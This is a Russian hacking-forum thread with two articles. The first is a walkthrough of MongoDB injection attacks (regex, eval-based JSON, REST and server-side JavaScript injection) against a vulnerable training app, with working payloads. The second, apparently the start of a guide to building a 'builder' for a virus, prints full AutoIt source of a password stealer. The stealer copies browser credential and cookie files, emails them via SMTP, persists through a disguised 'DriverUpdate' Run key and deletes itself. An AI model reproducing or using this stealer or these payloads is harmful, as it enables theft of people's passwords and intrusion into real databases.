Объявление

Свернуть
Пока нет объявлений.

Разные статьи.

Свернуть
X
 
  • Фильтр
  • Время
  • Показать
Очистить всё
новые сообщения

  • #16
    [/SPOILER]

    3) пытаемся модифицировать запрос , для чего сначала придеться выкурить какие способы запросов использует атакуемый ресурс ...

    для того что-бы поиграться давайте выберем node js и самую попсовую nosql db - MongoDB (кстати такая связка встречаеться и в реале)

    почитать что такое node js а так-же скачать последнюю можно на офф сайте
    а выкурить ман по языку запросов mongodb можно тут
    очень порадовало то что разрабы node.js проработали сборку из исходников что хорошо видно на следующем скрине :



    а вот и хелп по node.js :



    монгодб я поставил аптгетом а вы-же если последний будет отсутствовать в репах можете скачать с оффсайта

    теперь осталось запустить сервер mongodb , для чего для начала определимся с тем где у нас будет лежать ДБ , по дефолту нас попытаються отослать в \data\db и будут материть за то что такой диры нема , конечно только в том случае если у нас ее действительно нема , так-что создаем любую диру где угодно тут главное постарайтесь избежать рашн символов в пути к папке я например создал /root/db (я root-оман и сижу под рутом так-что мне можно )))) и смотрите скрин как заставить бд не выеживаться и разместить ДБ там где нам надо (в папке так-же будет создан файл блокировки) ну вобщем на скрине все видно ...



    теперь при помощи ctrl+c заглушим интерфейс (но не саму БД) и перейдя в лиректорию с уязвимым приложением установим его см скрин

    Последний раз редактировалось Rogge; 11-06-2013, 03:12.

    Комментарий


    • #17
      затем редактируем конфиг находящийся : "дира с уязвимым приложением/lib/config.js" последний должен бытиь следующего содержания :

      если у вас он по каким-то причинам отличаеться то не стесняйтесь его подправить

      на этом наконец-то все приготовления закончены и можно запустить "уязвимое приложение" выполнив следующую команду в папке с уязвимым приложением (этот терминал так-же как и тот в котором запущен сервер монгодб закрывать ненадо ! ! ! ) :



      тут наверное стоит пояснить что node.js сама по себе не являеться сервером а лишь предоставляет АПИ для быстрого кодинга последнего на javascript-e ну и естественно АПИ для работы веб-приложений на js на стороне сервера а не браузера как все к этому привыкли ... порт был выбран именно 31337 в связи с тем что автор уязвимого приложения Copyright (c) 2011, 2012, Ilya Verbitskiy в описании своего творения работал именно на этом порту но если вы повесите сервер на 80-й порт я думаю ничего смертельного не произойдет (сам не пробовал ибо пох)
      осталось только открыть в браузере http://127.0.0.1:31337/ и увидев приблизительно то-же что на следующем скрине очередной раз убедиться что вы не криворукая скотина и начать играться с техниками взлома данной БД ..


      ну теперь когда инфы достаточно для понимания того что будет описываться в статье пора уже начать атаковать и начнем мы пожалуй с того то монго0дб поддерживает регулярки в своих запросах а это просто шикарно для нас с вами ...

      для начала в уязвимом приложении откроем в менюхе MongoDB пункт "иньекции регулярных выражениях" ...

      незнаю как вы а я могу сказать что тот человек который говорит что эта БД неуязвима несмотря на то что разрешены регулярки - ПОЛНЫЙ ПСИХ Вложение 669

      если вы внимательно читали ман по языку запросов монгодб (что я скидывал выше) то вы уже должны знать что для того что-бы заюзать регулярку в поисковом запросе надо использовать оператор $regex тоесть если-бы у нас был юзер с логином zalupogryz то для того что-бы его выцепить из БД при помощи регулярки запрос принял-бы следующий вид :
      Код:
      db.users.find({login: {$regex: "^zal"}})
      это если мы делали-бы запрос напрямую в БД но у нас куча JS кода поэтому что-бы упростить себе жизнь в поиске того места где юзаеться регулярка непосредственно в коде заюзаем grep так как это показано на скрине (тут конечно заведомо известно какая функция дырявая но я хочу показать как надо действовать в реальной боевой ситуации ):

      Комментарий


      • #18
        здесь ооооооооочень длинный вывод "грепа" каждое срабатывание которого вам пришлось-бы разбирать если-бы в конкретном случае не было-бы заведомо известно что дырка будет тут ...


        теперь давайте откроем этот файл ... /lib/mongodb.js и посмотрим на уязвимую функцию :

        Код:
        "regexp": function () {

        pageTitle = locale.mongoRegexpTitle;



        processRequest(function (login, password) {

        var regexpPwd = new RegExp("^" + password, "i");

        var loginParam = { login: login, password: regexpPwd };



        return loginParam;

        });

        },
        из нее мы видим что пароль вытягиваться при помощи регулярки и нам совершенно ничто не мешает ее видоизменять так-как вводимые данные ни в этой функции н в остальном коде не фильтруються ну что-же давайте попробуем указать юзера "root" а в поле ввода пароля введем

        Код:
        [\s\S]*
        кто не понял что это - а ну-ка шнель учить регулярки !

        и мы увидим что приложение с радостью нам сообщит об том что мы успешно залогинились )



        кто еще не догадался это происходит потому-что база данных получит на вход следуюший запрос :

        Код:
        db.users.findOne(login: 'root' , password : /^[\s\S]*/i)
        поэтому все и получилось

        итак с первой дырой мы разобрались теперь давайте будем курить вторую ...
        постольку поскольку сейчас мы будем работать с JSON то отправляйтесь читать вики ТЫК № 1 , ТЫК № 2

        прочитали ..? зае*сь ! теперь можно и пытаться заюзать соответствующую дырку в нашем приложении для чего в уже знакомом нам меню (в браузере) переключимся на пункт "JSON-иньекции"

        теперь приступим к поиску уязвимости , тут конечно нет однозначного алгоритма поиска так-что в боевой ситуации пришлось-бы лопатить весь код , но в конкретной ситуации нам помог-бы поиск всех eval() - ов (последнее может пригодиться не только для таких иньекций ) что мы и сделаем при помощи грепа

        Код:
        root@bt:~/vuneranility app# grep -r 'eval(' *
        deps/haml-js/haml.js: eval("_$output =" + js );
        deps/node-mongodb-native/lib/mongodb/collection.js: this.db.eval(new Code(groupfn, scope), function (err, results) {
        deps/node-mongodb-native/lib/mongodb/bson/bson.js: eval("value = " + code_string);
        deps/node-mongodb-native/lib/mongodb/bson/bson.js: eval("value = " + code_string);
        deps/node-mongodb-native/deps/nodeunit/deps/json2.js: j = eval('(' + text + ')');
        deps/node-mongodb-native/deps/nodeunit/examples/browser/nodeunit.js: j = eval('(' + text + ')');
        lang/ru.js: mongoSsjiEvalTitle: "Mongo DB: Инъекции JavaScript - db.eval(...)",
        lang/ru.js: hamlMongoDbSSJIEval: "db.eval(...)",
        lang/en.js: mongoSsjiEvalTitle: "Mongo DB: Server Side JavaScript Injection - db.eval(...)",
        lib/mongodb.js: db.eval(loginParam.jsCode, processLoginResults);
        lib/mongodb.js: var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })");
        root@bt:~/vuneranility app#
        так-то в конкретной ситуации всего один раз взглянув на файл /lib/mongodb.js можно было сделать вывод что все уязвимые функции которые мы будем эксплуатировать находяться именно в нем этот раз не исключение но мы-то действуем так какбуд-то этого не знаем и поэтому смотрим интересующую нас функцию :

        Код:
        "json-injection": function () {

        pageTitle = locale.mongoJsonInjTitle;



        processRequest(function (login, password) {

        var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })");

        return loginParam;

        });

        },
        тут тоже знать пароль вобщем-то ненужно так-как тничто не фильтруеться , хотя тут случай покруче - его даже вводить не надо достаточно в поле логин ввести
        Код:
        root'})//
        и мы снова увидим желаемое приглашение , а произойдет это по той причине что "//" в javascript-e это комментарий и при помоши эвала мы из аутенфикации ваще отрежем пароль тоесть запрос в БД примет следующий вид :

        Код:
        db.users.findOne({login: 'root'})
        итак вторую дыру вроде разобрали , пора браться за 3-ю ...

        на очереди манипуляции с REST интерфейсом и как наверняка все уже догадались в первую очередь давайте переключим наше уязвимое приложение на соответствующий пункт + в новой вкладке браузера откроем линк http://127.0.0.1:28017/ если все было запущено правильно то увидим что-то похожее на то что вы видите на скрине :

        Комментарий


        • #19
          мне оно чем-то напоминает phpmyadmin только это ваще неудобная хрень ибо нет никаких связанных элементов незнаю как кому-то но мне дико влом тупо писать http://127.0.0.1:28017/listdatabases/?text=1 что-бы вытягивать инфу

          то что вы увидели это ответ REST интерфейса в формате JSON
          запросы через rest интерфейс осуществляеться через урл следующим способом :

          Код:
          http://127.0.0.1:28017/имя_бд/имя_ко...начение
          думаю тут сложного ничего нет а теперь ближе к делу - попробуй залогиниться без пароля с логином root# и о-чудо тебе опять это удалось ))) здесь все дело в том что при помощи # удалось проигнорировать фильтр

          Код:
          filter_password=P@ssw0rd
          вобщем rest интерфейсы это жуткая штука для любого разраба ...)) кстати подробнее об нем можно почитать ТУТ только не надо думать что я скинул что-то не то , все правильно REST интерфейс часто юзаеться для проведения CSRF атак , так что качаем пдфки и курим инфу !

          ну вот наконец-то мы подобрались к последнему , 4-му способу похекать монгодб - это javascript иньекции , так что давай переключай приложение для тестирования данного типа уязвимостей и давай будем курить матчасть ))

          вот последнему я ваще был поражен на мой взгляд даже самый жестокий быдлокодер не придумал-бы вместо собственного языка запросов юзать JS код но разрабы монгодб "крутые ребята" и они предоставили тебе yнесколько интересных моментов юзанья JS кода в запросе :

          1) блок $where
          Код:
          db.pzdc.find({$where : "this.hren > 10"})
          2) команда db.eval()
          Код:
          db.eval("function(x){return x*x;}"2)
          такой код вернет 4

          3) функции для сохранения JS кода в БД (юзаеться специальная системная коллекция system.js)
          создадим-ка мы новую функцию ashhe_pzdc(x)
          Код:
          db.system.js.save({_id : "ashhe_pzdc" , value : function(x){return x*x;}})
          после чего ее можно заюзать таким образом :
          Код:
          db.eval("ashhe_pzdc(1000)")
          4) Map/Reduce данная технология разрабатывалась гуглом для одновременных охрененно сложных вычислений , глянуть доки о реализации данной технологии в монгодб можно тут но описания техник взлома использущих данную технологию в этой статье не будет (

          так ну раз все рассказано давайте приступим к осуществлению взлома нашего уязвимого приложения и начнем с эксплуатации $where , не буду мучать тебя рассказами о том как искать код ибо все однотипно поэтому давай сразу глянем уязвимую функцию сам знаешь в каком файле ...

          Код:
          "ssji-where": function () {

          pageTitle = locale.mongoSsjiWhereTitle



          processRequest(function (login, password) {

          var js = "this.login === '" + login + "' && this.password === '" + password + "'";

          var loginParam = { "$where" : js };

          return loginParam;

          });

          },
          ну тут раз уже известно что ничто не фильтруеться давай логиниться при помощи только логина отфильтровав из запроса пароль .. спросишь как ? да все элементарно-же ввели в логине
          Код:
          root'//
          многих наверное уже не удивляет что мы оказались залогинены в системе а произошло это потосъму что запрос к БД принял следующий вид
          Код:
          db.users.find{$where : "this.login === \'root\' //\' this.password ===\'\'"}

          // - это комент в JS поэтому это //\' this.password ===\'\' будет успешно отсечено из запроса
          там все было печальненько так как БД находилась в режиме "только чтение" и мы не могли накатать скрипт который ваще поменял-бы аутенфикационные данные (( но дело обстоит иначе с юзаньем db.eval() .. не будем е*ть ежа и сразу глянем на уязвимую функцию :

          Код:
          "ssji-eval": function () {

          pageTitle = locale.mongoSsjiEvalTitle;



          processRequest(function (login, password) {

          var js = "function () { return db.users.findOne ({ login: '" + login +

          "', password: '" + password + "' }); }"

          return { isEval: true, jsCode: js };

          });

          },
          одного взгляда на этот беспредел достаточно что-бы понять что накодить свой JS скрипт и выполнить его на сервере нам сам бог велел ))) делаеться это как-то так :

          Код:
          '}), "ваш код" //

          пример :
          '}), db.users.insert({login : 'hacked' , password : 'by_k0d.cc_team'}) , 1} //
          введите данный пример в поле логин и создадите нового юзера ))
          Подводим итоги :
          вобщем спасибо разрабам подобных бд , ПОБЛЕВАЛ ))) так-же хочу отметить что это инфа только относительно монгодб но есть еше и куча других , у которых в свою очередь язык запросов на чем только не реализован , в этом и есть основная ошибка играющая нам на руку , если у реляционных бд был только стандартизированный язык запросов SQL то у nosql бд кто как хочет тот так и реализует это отсюда и великая куча дыр

          Комментарий


          • #20
            Как написать билдер(генератор готовых программ)

            В данной статье поговорим о том как можно написать генератор готовых программ (билдер),на скриптовом языке Autoit,ведь пользователям которые ни чего не понимают (и не хотят)в программирование,довольно сложно ориентироваться в коде какого либо языка,что бы внести изменения и настроить его под себя,а потом ещё и компилировать этот код,что для многих является реальной проблемой,даже если в компиляторе всего пару кнопок и пару полей(да,*** встречаются и такие).
            В принципе по такой же схеме можно писать и для других языков программирования,правда если язык позволяет работать с памятью и ресурсами,то лучше писать иначе,у нас же язык умеет работать только с файлами,от чего мы и будем отпираться.

            Теория:

            Алгоритм нашего генератора будет иметь следующий вид:
            Распаковываем архив с нужными для компилирования вируса файлами (это компилятор,все необходимые для вируса библиотеки,иконка и сам скрипт вируса)во временную папку (temp - директория в которой Windows позволяет делать практически всё что угодно,не имея прав администратора или каких либо других привилегий),после в поля оболочки GUI будут вписываться необходимые данные( в нашем случае это данные для авторизации на почтовом сервере и почтовый ящик куда будет отправляться письмо с файлами),по нажатие кнопки "генерировать" будут вписываться указанные в GUI данные, в скрипт и при помощи компилятора Autoit компилироваться и упаковываться сам вирус,в итоге пользователь будет получать готовый к употреблению продукт.

            Подготовка.

            Берём скрипт к которому мы собираемся написать генератор,в моём случае это будет скрипт ворующий файлы с паролями,которые после он отправляет на указанный почтовый адрес,вот он:

            Комментарий


            • #21
              Код:
              Код:
              ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
              ;;;;post: [url=http://forum.thehackworld.in/index.php?threads/Троян-password.218/]thehackworld.in[/url]
              #NoTrayIcon ;Указывает, что при запуске сценария AutoIt требуется скрыть его индикатор,то есть тупа скрывает иконку с трея
              ;{#Include - Включить указанный файл внутрь текущего сценария. (Добавляем необходимые библиотеки(сценарии))
              #Include "File.au3"
              #include "FTPEx.au3"
              #Include "process.au3"
              #include "Zip_UDF.au3"
              #include "Inet.au3"
              ;}
              
              $sArgument = '/600' ;задержка перед началом работы в 600 секунд,нужна для добавления в автозагрузку,в принципе можно и убрать,
              ;но тогда скрипт будет стартовать сразу после запуска винды,если конечно же оставить функцию автозагрузки.
              ; объявляем переменны
              $dir=@TempDir & "\winsc" ; временная папка в которую будут копироваться все файлы,после архивироваться
              $File = $dir&"\*.*"
              DirCreate($dir ) ; создаём временную папку [ DirCreate("path" )-Создать директорий/папку. ]
              $ata=@TempDir & "\archi.zip"
              $var = _GetIP() ; проверяем наличие инета,вообще лучше проверять через ping ну он чёт у меня не заработал,нашёл другое решение.
              ;_GetIP - возращает ip адрес,при чём внешний,но только если есть конект,если конекта нету,значить и ip адреса нету и он вернёт -1,вот и выход из сложившейся ситуации.
              
              $e=StringCompare($var,"-1")
              If Not $e= 0 Then ; если конект есть то выполняем код,иначе при попытке отправить на мыло файлы вылетит ошибка.
              ; #Include <process.au3>
              ;_RunDOS( $sCommand )
              ;Скрытно выполнить команду DOS. Окно MS-DOS не отображается.
              _RunDOS ( "cd %AppData%\Mozilla\Firefox\Profiles\*.default\&&copy /y key3.db %temp%\winsc\key3.db" ) ; копируем средствами CMD нужные нам файлы в временную папку
              Sleep(100)
              _RunDOS ( "cd %AppData%\Mozilla\Firefox\Profiles\*.default\&&copy /y signons.sqlite %temp%\winsc\" )
              Sleep(100)
              _RunDOS ( "cd %AppData%\Mozilla\Firefox\Profiles\*.default\&&copy /y cookies.sqlite %temp%\winsc\" )
              Sleep(100)
              FileCopy(@AppDataDir & "\Opera\Opera\wand.dat",$dir&"\wand.dat",1) ; дальше работает на Autoit'e
              Sleep(10)
              FileCopy(@AppDataDir & "\Opera\Opera\cookies4.da",$dir&"\cookies4.dat",1); "FileCopy - Скопировать указанный файл,синтаксис FileCopy ( "Путь к исходному копируемому файлу (файлам).  Поддерживаются сокращения в названиях - (*).", "Путь к файлу (файлам) результату.  Поддерживаются сокращения в названиях - (*)." [,flag] )
              ; flag - (опциональный) указывает следует ли перезаписывать файл (файлы) в том случае, когда он (они) уже имеется:
              ;0 - (стандартное значение) не перезаписывать имеющиеся файлы
              ;1 - перезаписывать имеющиеся файлы
              ;8 - создавать соответствующую структуру папок получателя, если ее нет. См. Замечания.
              Sleep(10)
              FileCopy( @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data", $dir&"\Web_Data.s", 1 )
              Sleep(10)
              FileCopy( @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data", $dir&"\Login_Data.s", 1 )
              ;FileOpen - Открыть текстовый файл для чтения и записи.
              ;FileOpen ( "filename", mode )
              ;filename - Название текстового файла.
              ;mode -Режим открытия файла.
              ;0 - открыть для чтения
              ;1 - открыть для записи только в конец файла
              ;2 - открыть для записи и удалить имеющееся содержание
              ;4 - открыть для чтение в режиме как есть (raw)
              ;8 - создать структуру папок, если она отсутствует. См. Замечания.
              ;16 - принудительное бинарное (по байтам) чтение и запись с помощью FileRead и FileWrite
              ;32 - режим Unicode UTF16 Little Endian для записи текста с помощью FileWrite и FileWriteLine (стандарный режим ANSI символы)
              ;64 - режим Unicode UTF16 Big Endian для записи текста с помощью FileWrite и FileWriteLine (стандарный режим ANSI символы)
              ;128 - режим Unicode UTF8 для записи текста с помощью FileWrite и FileWriteLine (стандарный режим ANSI символы)
              ;В любом из режимов записи будет создан файл, даже если он отсутствует. Это не относится к воссозданию структуры необходимых папок, что реализуется только при использовании режима 8.
              $inf=fileopen($dir&"\info.html",2)
              Sleep(100)
              ;FileWriteLine - Добавить строку текста в конец открытого ранее текстового файла.
              ; FileWriteLine ( filehandle or "filename", "line" )
              ;filehandle - Указатель файла, полученный при выполнении FileOpen. Либо просто строка с названием файла.
              ; line - Строка текста. Символы перехода на новую строку автоматически не добавляются.
              filewriteline($inf,"<br><font color=red size=6 ><center>Virus autoitscript send PassFile by Lyubitel mod Swap 2,send all file in arhive ( TheHackWorld.iN )!</center></font><br>")
              filewriteline($inf,"<p>Полученные файлы можно заменить на свои и просмотреть сохранённые пароли в соответственных браузерах.<br>")
              filewriteline($inf,"<b>Если Вы <u>не знаете какие и куда файлы ложить</u>,вы <u>можете запустить bat файлы</u>,которые будут находится так же в архиве.</b>")
              filewriteline($inf,"<li>Для резервного копирования своих файлов запустите 1.bat,рядом с ним будет создана папка и туда будет помещёны ваши файлы</li>")
              filewriteline($inf,"<li>Для замены своих файлов на полученные,запустите 2.bat,который должен находится рядом с файлами во время запуска</li><br>")
              filewriteline($inf,"<b>После откройте браузер и просматривайте хранящиеся в полученных файлах пароли:</b>")
              filewriteline($inf,"<li><b>Для браузера Google Chrome:</b> Запустите браузер,перейдите в Настройки и Управления Google Chrome -> Параметры -> Персональные-> Управление сохранёнными паролями.</li>" )
              filewriteline($inf,"<li><b>Для браузера Mozilla Firefox:</b> Запустите браузер,перейдите в Инструменты -> Настройки -> Защита -> Сохранённые пароли-> Отобразить пароли.</li>")
              filewriteline($inf,"<li><b>Для браузера Opera:</b> Запустите браузер,перейдите в Меню -> Настройки -> Формы -> Пароли.</li><br>")
              filewriteline($inf,"<b>Для возрата своих файлов на место,запустите 3.bat.</b><br>")
              filewriteline($inf,"<font color=red size=6 ><center>by SwAp ( <a href=http://thehackworld.in >TheHackWorld.iN</a> )</center></font><p>")
              ;FileClose - Закрыть открытый ранее текстовый файл.
              FileClose($inf)
              $bat1=fileopen($dir&"\1.bat",2)
              filewriteline($bat1,"md myFile")
              filewriteline($bat1,"cd %AppData%\Mozilla\Firefox\Profiles\*.default\&&copy /y key3.db myFile\key3.db")
              filewriteline($bat1,"cd %AppData%\Mozilla\Firefox\Profiles\*.default\&&copy /y signons.sqlite myFile\signons.sqlite")
              filewriteline($bat1,"cd %AppData%\Mozilla\Firefox\Profiles\*.default\&&copy /y cookies.sqlite myFile\cookies.sqlite")
              filewriteline($bat1,"copy %appdata%\Opera\Opera\wand.dat myFile\Wand.dat")
              filewriteline($bat1,"copy %appdata%\Opera\Opera\cookies4.dat myFile\cookies4.dat")
              filewriteline($bat1,'copy "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data" "myFile\Web Data"')
              filewriteline($bat1,'copy "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data" "myFile\Login Data"')
              fileclose($bat1)
              $bat2=fileopen($dir&"\2.bat",2)
              filewriteline($bat2,"copy /y key3.db %AppData%\Mozilla\Firefox\Profiles\*.default\key3.db")
              filewriteline($bat2,"copy /y signons.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\signons.sqlite")
              filewriteline($bat2,"copy /y cookies.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\cookies.sqlite")
              filewriteline($bat2,"copy /y Wand.dat %appdata%\Opera\Opera\wand.dat myFile\Wand.dat")
              filewriteline($bat2,"copy /y cookies4.dat %appdata%\Opera\Opera\wand.dat myFile\cookies4.dat")
              filewriteline($bat2,'copy /y "Web_Data.s" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data"')
              filewriteline($bat2,'copy /y "Login_Data.s" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data"')
              fileclose($bat2)
              $bat3=fileopen($dir&"\3.bat",2)
              filewriteline($bat3,"copy /y myFile\key3.db %AppData%\Mozilla\Firefox\Profiles\*.default\key3.db")
              filewriteline($bat3,"copy /y myFile\signons.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\signons.sqlite")
              filewriteline($bat3,"copy /y myFile\cookies.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\cookies.sqlite")
              filewriteline($bat3,"copy /y myFile\Wand.dat %appdata%\Opera\Opera\wand.dat myFile\Wand.dat")
              filewriteline($bat3,"copy /y myFile\cookies4.dat %appdata%\Opera\Opera\wand.dat myFile\cookies4.dat")
              filewriteline($bat3,'copy /y "myFile\Web Data" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data"')
              filewriteline($bat3,'copy /y "myFile\Login Data" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data"')
              fileclose($bat3)
              _ZipCreate($ata) ; Создаём архив,куда будут упакованы ранее скопированные и созданные файлы
              Sleep(100)
              _ZipAdd($ata, $File) ; добавляем файлы в ранее созданный архив
              Sleep(1000)
              ; FileExists - Проверка наличия указанного файла или директория.
              if FileExists($ata) then ; проверяем создан ли архив,если создан то
              _send_mail() ; запускаем функцию отправки письма
              EndIf
              Sleep(1000)
              ;FileDelete ( "path" ) - Удалить файл (файлы). Поддерживается сокращения в именах файлов,то есть возможно указать *.*
              filedelete($ata)
              ;DirRemove - Удалить директорий/папку.
              ; DirRemove( "path" [,recurse] )
              ;path Путь к удаляемой директории.
              ;recurse - (опциональный) Используется для дополнительного удаления поддиректориев.
              ;0 = (стандартное значение) не удалять файлы и поддиректории
              ;1 = удалить файлы и поддиректории, подобна команде DOS - DelTree
              DirRemove($dir, 1 ) ; удаляем папку winsc
              _dels() ;само удаляемся
              Else; если конекта нету,то
              $de=@HomeDrive&"\DriverStores" ; объявляем переменную $de,которая будет означать путь до папки на системном диске,которую в свою очередь мы создаим в случае неудачного конекта и в которую скопируемся,с глаз долой.
              if not @ScriptFullPath<>$de&"\DriverUdate.exe" then  ;проверяем не находимся мы в так сказать временного содержания,если нет то
              dircreate($de) ; создаём папку
              FileSetAttrib($de,"+H") ; ставим на неё атрибу скрыт
              filecopy(@ScriptFullPath,$de&"\DriverUdate.exe",1) ; копирем сами себе в эту папку
              _RegRun($sArgument) ;добавляемся в автозагрузку с задержкой перед запуском в десять минут.
              sleep(1000)
              _dels() ;самоудалемся
              endif
              EndIf
              
              
              Func _send_mail() ; функция отправки средствами comobject
              ;Честно говоря описания к ним не искал,да и особо не разбирался с ними,так понимаю что куда и для чего,но точно описать что для чего не могу,так что тут описывать не буду
              ;если кому то нужно будет тот погуглит.
              $str = "http://schemas.microsoft.com/cdo/configuration/"
              $hMAIL = ObjCreate ("CDO.Message")
                  With $hMAIL
              ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{
              ;;;;;;;;;;;;;;;;;;;;;;;; Вносим данные 
                      .From = "from_e-mail" ;from e-mail
                      .To = "to-e-mail" ;to e-mail
                      .Subject = @UserName&"- send all File"
                      .TextBody = "Virus autoitscript send PassFile by Lyubitel mod Swap 2,send all file in arhive ( TheHackWorld.iN )!"
                      .AddAttachment (@TempDir & "\archi.zip") ;файл для отправки
                  EndWith
                  With $hMAIL.Configuration.Fields
                      .Item ($str & "sendusing") = 2
                      .Item ($str & "smtpserver") = "smtp_server" ;SMTP Server
                      .Item ($str & "smtpauthenticate") = 1
                      .Item ($str & "sendusername") = "login_from" ;Login
                      .Item ($str & "sendpassword") = "pass_from" ;Пароль SMTP-сервера
                      .Item ($str & "smtpserverport") =port_from ;Порт
              ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;}
              ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
              
                      .Update
                  EndWith
              $hMAIL.Send
              EndFunc
              
              
              
              Func _dels() ; функция само удаления
              ;~TempFile -Вернуть название для временного файла. Гарантируется, что файл с таким названием отсутствует в папке %TEMP%.
              ;~ #include <File.au3>
              ;~ _TempFile()
                  $sTemp = _TempFile(@TempDir, '~', '.bat')
              ;FileGetShortName - Возвращает короткое название файла (8.3) в ответ на переданное полное название.
              ;~ FileGetShortName ( "file" )
              ;~ file-  Полное название файла, которое следует преобразовать
              $sPath = FileGetShortName(@ScriptFullPath)
                  $hFile = FileOpen($sTemp, 2)
                  FileWriteLine($hFile, '@echo off')
                  FileWriteLine($hFile, ':loop')
                  FileWriteLine($hFile, 'del ' & $sPath)
                  FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
                  FileWriteLine($hFile, 'del ' & $sTemp)
                  FileClose($hFile)
              ;Run - Запустить внешнее приложение.
              ; Run ( "filename" [, "workingdir" [, flag[, Standard_I/O_Flag]]] )
              ;filename- Название файла приложения (EXE, BAT, COM или PIF).
              ;workingdir- (опциональный) Рабочий директорий.
              ;flag -[опциональный] Состояние окна приложения после запуска:
              ;@SW_HIDE = скрыть окно
              ;@SW_MINIMIZE = свернуть окно
              ;@SW_MAXIMIZE = развернуть окно
              ;Standard_I/O_Flag - [опциональный] Предоставить рабочий внутренний идентификатор одного и более из стандартных потоков ввода-вывода дочернего процесса.
                ;1 ($STDIN_CHILD) - внутренний идентификатор STDIN потока
                ;2 ($STDOUT_CHILD) = внутренний идентификатор STDOUT потока
                ;4 ($STDERR_CHILD) = внутренний идентификатор STDERR потока
                  Run($sTemp, '', @SW_HIDE)
              EndFunc  ;==>_ScriptDestroy
              
              ; добавления в автозагрузку с задержкой перед запуском.
              If $CmdLine[0] Then
              ;StringRegExpReplace - Заменить текст строки с помощью регулярного выражения.
              ;StringRegExpReplace ( "test", "pattern", "replace", [ count ] )
              ;test - Исходный текст
              ;pattern - Искомый образец (шаблон). Описание синтаксиса регулярных выражений см. в StringRegExp.
              ;replace - Текст замены.
              ;count - [опциональный] Количество проводимых замен. Стандартное значение 0 - выполнить все возможные замены.
                  $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
              ;TimerInit - Возвращает значение абстрактного времени в миллисекундах.
                  $iStart = TimerInit()
              ;TimerDiff - Вернуть значение длительности интервала времени, прошедшего с момента последнего вызова TimerInit
                  While TimerDiff($iStart) <= $iTimer
                      Sleep(250)
                  WEnd
              EndIf
              
              
              
              Func _RegRun($s_Argument)
                  Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
              ; RegRead - Вернуть значение из реестра.
              ;RegRead ( "keyname", "valuename" )
              ;~ keyname - Ключ реестра.
              ;~ valuename - название значения.
                  If Not RegRead($sRegRun, "DriverUpdate") Or RegRead($sRegRun, "DriverUpdate") <> @HomeDrive&"\DriverStores\DriverUdate.exe" & ' ' & $s_Argument Then
              ;RegWrite - Сохранить величину в реестре.
              ;~RegWrite ( "keyname", "valuename", "type", value )
              ;~ keyname - Ключ реестра.
              ;~ valuename - Название величины.
              ;~ type - Тип ключа - "REG_SZ" или "REG_DWORD".
              ;~ value - Значение сохраняемой в реестре величины.
                      RegWrite($sRegRun, "DriverUpdate", 'REG_SZ', @HomeDrive&"\DriverStores\DriverUdate.exe " & $s_Argument)
                  EndIf
              Последний раз редактировалось Rogge; 11-06-2013, 03:23.

              Комментарий


              • #22
                Назовём его "source.au3",если обратить внимание на начало скрипта:
                Код:
                ;{#Include - Включить указанный файл внутрь текущего сценария. (Добавляем необходимые библиотеки(сценарии))
                Код:
                #Include "File.au3"
                #include "FTPEx.au3"
                #Include "process.au3"
                #include "Zip_UDF.au3"
                #include "Inet.au3"
                ;}
                То можно заметить что "#Include" подключает необходимые библиотеки,ни из "include library" (эта папка в которой находятся библиотеки в Autoit,по умолчанию имеет путь: C:\Program Files\AutoIt3\Include,для подключения библиотек из этой папки,необходимы замыкать название нужно библиотеки в скобки < >.),а берёт он эти библиотеки с той же директории где находится сам,то есть при компиляции этого скрипта,все библиотеки которые он будет цеплять,должны находится рядом со скриптом.Вы же можете указывать свой путь,но помните что при компиляции,эти библиотеки должны там находится,то есть на тачке где не установлен Autoit,эти библиотеки нужно будет выгрузить по указанному пути,до компиляции самого скрипта.
                Идём в папку куда устанавливали пакет Autoit,по умолчанию это C:\Program Files\AutoIt3,переходим в папку Include и копируем указанные в скрипте библиотеки,в моём случае это "File.au3","FTPEx.au3","process.au3","Zip_UDF.au3" ,"Inet.au3",копируем в ту же директорию в которой находится сам скрипт,после пытаемся его запустить.
                Скрипт не будет работать,он потребует ещё библиотеки,которые будут тянуть скопированные библиотеки,а те в свою очередь потянут другие библиотеки,Вам же нужно будет копировать все библиотеки которые он будет просить,каждый раз пытаюсь запустить скрипт,до тех пор пока ошибки не прекратятся.
                В месте куда должны будут вписываться данные(в данном случае это данные для авторизации на почтовом сервере отправителя и почтовый адрес получателя),вписываем слова которые ни где в скрипте больше не будут встречаться,то есть слова для каждого параметра должны быть уникальными в данном скрипте,вот та часть скрипта:
                Код:
                Код:
                ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{
                ;;;;;;;;;;;;;;;;;;;;;;;; Вносим данные ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                        .From = "from_e-mail" ; тут почтовый адрес отправителя
                        .To = "to-e-mail" ; тут почтовый адрес получателя
                        .Subject = @UserName&"- send all File" ; это у нас будет тема письма,в ней будет имя пользователя запустившего вирус.
                        .TextBody = "Virus autoitscript send PassFile by Lyubitel mod Swap 2,send all file in arhive ( TheHackWorld.iN )!" ; тут текст содержащийся в теле письма.
